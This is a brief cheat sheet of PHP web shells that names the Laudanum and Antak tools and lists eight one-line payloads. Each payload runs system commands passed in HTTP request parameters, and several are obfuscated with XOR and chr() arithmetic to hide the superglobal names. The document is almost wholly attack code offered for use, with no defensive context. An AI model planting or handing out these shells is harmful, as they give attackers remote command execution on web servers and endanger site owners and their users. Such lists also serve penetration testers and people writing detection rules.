Web shells

• Laudanum
• Antak webshell

PHP

<?php system($_REQUEST["cmd"]);?>

<?=`$_GET[0]`?>

<?=`$_POST[0]`?>

<?=`{$_REQUEST['_']}`?>

<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?> <?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

<?php $_=${'_'.('{{{' ^ '<>/')};$_[0]($_[1]($_[2])); ?>

<?php $_=${'_'.('{'^'<').('{'^'>;').('{'^'/')};$_[0]($_[1]($_[2])); ?>